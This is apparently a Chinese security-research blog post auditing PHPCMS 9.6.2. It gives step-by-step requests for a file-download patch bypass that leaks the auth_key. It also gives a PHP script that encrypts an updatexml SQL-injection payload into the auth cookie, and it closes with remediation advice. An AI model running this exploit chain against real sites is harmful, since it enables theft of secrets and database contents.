安全研究

PHPCMS 9.6.2 代码审计:任意文件下载与前台 SQL 注入

#Web安全#代码审计#SQL注入
近黑深绿蓝背景上的铜橙色断裂链条与锁孔透光,象征 PHPCMS 任意文件下载绕过与 SQL 注入穿透的链式攻击

背景

PHPCMS 在 2017 年前后是国内政府、教育、企业站点的主流 CMS 之一,9.6.x 系列陆续曝出任意文件下载与 SQL 注入。最近做代码审计时发现 PHPCMS 有更新,但漏洞详情基本不公开,想要知道漏洞的利用方法只能自己审计。通常可以对比新旧版本的代码来定位旧版本的漏洞位置,于是我下载了 phpcms 9.6.3 与 phpcms 9.6.1、phpcms 9.6.2 的源码进行比较和审计,发现 phpcms 9.6.2 中存在任意文件下载补丁绕过和前台 SQL 注入,便撰写本文做个记录,期待和师傅们的各种交流和讨论。

任意文件下载补丁绕过

对比 phpcms 9.6.2 与 phpcms 9.6.1 针对任意文件下载漏洞的修复方法,发现仅是将检测代码由原本的 phpcms_9.6.1_UTF8/phpcms/modules/content/down.php 第 109 行修改为 phpcms_v9.6.2_UTF8/phpcms/modules/content/down.php 的第 126 行,虽然改为在下载前进行文件的黑名单检测,但存在被绕过的风险。

如下图所示,可以直接绕过正则。但要使用什么字符进行绕过并且还能正常访问到相应 PHP 文件呢?这里可以使用一些空白字符来进行绕过。

任意文件下载正则绕过 regex101 测试:黑名单正则无法匹配 system.ph%81p 这类带高位字节的字符串

代码中虽然使用了 trim 去除前后的空白字符,但是 trim 是存在安全隐患的。%81-%99 间的字符是不会被 trim 去掉的,且在 Windows 中还能正常访问到相应的文件,如下图所示。

%81-%99 字符绕过 trim 检测 test.php 测试:urldecode 后 \aaa.php$1 命中 system.php 文件

因此通过使用 %81-%99 间的字符来绕过补丁进行任意文件下载,需要构造好 a_k 的值才能进行下载。利用代码分析与之前的 phpcms 9.6.1 漏洞一致,操作步骤如下:

第一步:进行如下请求获得 YDVIB_siteid 的值(前缀 YDVIB 为安装时生成,不同站点可能不一样)。

[GET] http://127.0.0.1/code/phpcms_v9.6.2_UTF8/index.php?m=wap&c=index&a=init&siteid=1

获得:

[cookie] YDVIB_siteid: 75d1XCnlbSh-1zi2xZ-gearAbSsmOcXypuSKXZst

第二步:在 POST DATA 中的 userid_flash 参数的值设置为第一步请求得到的 YDVIB_siteid 参数的值,并进行如下请求。

[GET] http://127.0.0.1/code/phpcms_v9.6.2_UTF8/index.php?m=attachment&c=attachments&a=swfupload_json&src=a%26i=1%26m=1%26catid=1%26f=./caches/configs/system.ph%*25*3ep%2581%26modelid=1%26d=1&aid=1
[POST DATA] userid_flash=75d1XCnlbSh-1zi2xZ-gearAbSsmOcXypuSKXZst

获得:

[cookie] YDVIB_att_json: ea6fUlmiupVPoK2udMAztI7dpqUURRW1plemEGmRhGPocAvwWbcMk3BARFHzxLI4NJrV1IJQ2PaHeec790iDdhRJ9dJbhEKamgM55SwKR-F3fFmmWDOVuHnyiWg9kyMzQ2l9D_cRPQmM7P9e7ZYrESNQwjMOytrFTIhY4SFmK2Vjc3GS3g

第三步:将 GET 请求中的 a_k 参数的值设置为第二步请求获得的 YDVIB_att_json 参数的值,并进行如下请求。

[get] http://127.0.0.1/code/phpcms_v9.6.2_UTF8/index.php?m=content&c=down&a=init&a_k=41f4VsAhLvN8-4L1ntgSsuga4BrvYA5zcDo2bjiYB7RI98Qzj5D5k8dqqBfo7cUNwF3TGhz1SH-vPs3lIIQJYwHeF_u2b3QVfD2HIO3Gay68TAtz2rqYhX8XIeznWrTtOI24418KZUoTEAfnY4kZNtIajW-bqHRV1djqmEc1hSAwkIYWA9CPrw

获得:

http://127.0.0.1/code/phpcms_v9.6.2_UTF8/index.php?m=content&c=down&a=download&a_k=7e9d9SFk0jOteAemg-j7IVn6Ph1JFU9FEkyDo9xeasNJDPgZsOhusc39D4KiHzydJwt2B4iLuu-l9w03UV47obM9nsnjcJxi2jbawvqfZWcY9PeL3j0MgKxAvgXL4-dbf8gGG6_EJXIOA2p9Jkl9QcM

最后点击「点击下载」按钮发起上述请求,便可下载 /caches/configs/system.php 文件,得到里面的 auth_key。一旦 auth_key 泄漏,整套 sys_auth 加解密体系便等于公开——这也是下一节 SQL 注入能成立的前提。

前台 SQL 注入

phpcms/modules/member/classes/foreground.class.php 文件第 31-38 行中:

list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));

解密得到的 $userid 的值直接传入 get_one 操作数据库的方法中,造成 SQL 注入。

前台 SQL 注入代码位置

要对此漏洞进行利用,需要使用 phpcms/libs/functions/global.func.php 中的 sys_auth 方法、phpcms/libs/classes/param.class.php 中的 get_cookie 方法、phpcms/libs/functions/global.func.php 中的 get_auth_key 方法对 payload 进行加解密分析。

跟入 get_cookie 方法,在 phpcms/libs/classes/param.class.php 第 107-116 行可以看到使用了 sys_auth 方法进行解密操作,且解密时没有提供 key。

get_cookie 内部:sys_auth(‘DECODE’) 无 key 调用

跟入 sys_auth 方法,在 phpcms/libs/functions/global.func.php 中找到代码块——当没有指定 $key 时便使用 /caches/configs/system.php 文件里面的 auth_key 的值作为秘钥。

caches/configs/system.php 里的 auth_key = ‘6GeIdVtMAxhgFYu5vCp1’

跟入 get_auth_key 方法,当指定的 $prefix=='login' 时会将 auth_key 的值与客户端请求的 IP 拼接做 MD5 加密。

get_auth_key 实现:login 前缀把 auth_key 拼上 client IP 做 md5

分析完毕后得到大致流程:

解密操作get_cookie('auth') 得到 $phpcms_authget_auth_key('login') 得到 $auth_key,然后 sys_auth($phpcms_auth, 'DECODE', $auth_key)

通俗些说:sys_auth 方法对 cookie 中包含 auth 的参数名对应的密文值,先使用配置文件中的 auth_key 进行 sys_auth 得到的值作为第一次解密后的值,然后使用 auth_key 的值与客户端请求的 IP 拼接做 MD5 加密的值作为新的 key,第一次解密后的值与新的 key 最后传入 sys_auth 进行解密得到最终的明文。

加密方法则反之:使用 auth_key 的值与客户端请求的 IP 拼接做 MD5 加密的值作为新的 key,使用新的 key 与明文进行 sys_auth 得到的值作为第一次加密的密文,然后使用 auth_key 作为 key 与第一次加密的密文传入 sys_auth 得到的值作为最终的密文,也就是 cookie 字段名称中包含 auth 的参数对应的值。

如下是将各个文件中的加密解密方法抓取出来稍作修改,在本地进行 payload 的加解密操作:

<?php
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0, $auth_key='7G6idVtMAxhgFVu5vGp1') {
    $ckey_length = 4;
    $key = md5($key != '' ? $key : $auth_key);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else { return ''; }
    } else {
        return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
    }
}

function get_auth_key($prefix, $suffix="", $ip='127.0.0.1', $auth_key='7G6idVtMAxhgFVu5vGp1') {
    if($prefix=='login'){
        $pc_auth_key = md5($auth_key.$ip);
    } else if($prefix=='email'){
        $pc_auth_key = md5($auth_key);
    } else {
        $pc_auth_key = md5($auth_key.$suffix);
    }
    $authkey = md5($prefix.$pc_auth_key);
    return $authkey;
}

// 解密过程:先外层 auth_key 解密,再内层 login 派生密钥解密
$encryption_str = '6fc7TB1Y1nIRK5HunMc5HAUw5WkBLLuQGBiOISDhJM4d8N8WHHOvqMaUSyWrZdVdH046oGv_e_Ir6Q157UV-yT5Aksuc_h_4RfwZqsEwDHfQckv4SReOiYFxm083X7Tydcw-nUy8l3nP-ouUGl59sN4';
$step1 = sys_auth($encryption_str, 'DECODE');
$auth_key = get_auth_key('login');
echo 'decryption_step2 result: '.sys_auth($step1, 'DECODE', $auth_key)."\n";

// 加密过程:先内层 login 派生密钥加密,再外层 auth_key 加密
$clear_str = "1'or updatexml(1,concat(0x7e,(select user()),0x7e),1)'1 f867fef04bd76d95abe01300951ca336";
$encrypted = sys_auth(sys_auth($clear_str, 'ENCODE', $auth_key), 'ENCODE');
echo 'encryption result: '.$encrypted;

加解密结果

使用上面的代码可以进行解密和加密,decryption_step2 result 的值便是对 payload 进行解密的最终结果,encryption result 的值是对 payload 进行加密的最终结果。最终利用的现象如下图所示——cookie 中的 YDVIB_auth 参数(前缀是安装时候生成的,可能不一样,可以在配置文件中找到对应的值),可以先注册普通用户然后看服务端下发的 cookie 中字段名称中 xxx_auth 的参数名称,便是存在漏洞的位置。

前台 SQL 注入 PoC

修复与影响

PHPCMS 9.6.2 的这两个漏洞本质上是「补丁未补全」与「加密密钥混用」的叠加:任意文件下载绕过让 auth_key 落地,前台 SQL 注入又把 auth_key 当作解密信任根,二者一拼接就形成了从匿名访客到拖库的完整链条。

从通用防护角度看,任意文件下载这类漏洞的根治只有一条:对用户可控的文件路径做 realpath 后白名单校验,禁止任何形式的黑名单正则trim 不能作为安全过滤函数,PHP 的字符串函数在多字节语境下行为复杂,所有涉及文件名/路径的输入都应通过 realpath 归一化后再比对。至于 SQL 注入,intval 强制类型转换只是堵住了这一个点,更彻底的做法是全面参数化查询——可惜 PHPCMS 那个年代的代码库改造代价极大。

写在最后

phpcms 9.6.2 版本的任意文件下载补丁可绕过,导致可下载配置文件获得 key,然后利用得到的 key 可以进行 SQL 注入。当然 key 还可以进行很多其他操作,本篇没有涉及,如果师傅们有好的示例或文章,期待一起交流。

回头看这条利用链,真正值得记下的不是某个具体的 payload,而是「补丁-绕过-再补丁」的拉锯节奏:9.6.1 修了一半,9.6.2 绕过,9.6.3 才算补到位。安全审计的价值正在于此——不轻信补丁说明,自己跟一遍代码、对一遍 diff,往往能在「已修复」的表象下找到下一道缝隙。大家也多注意安全。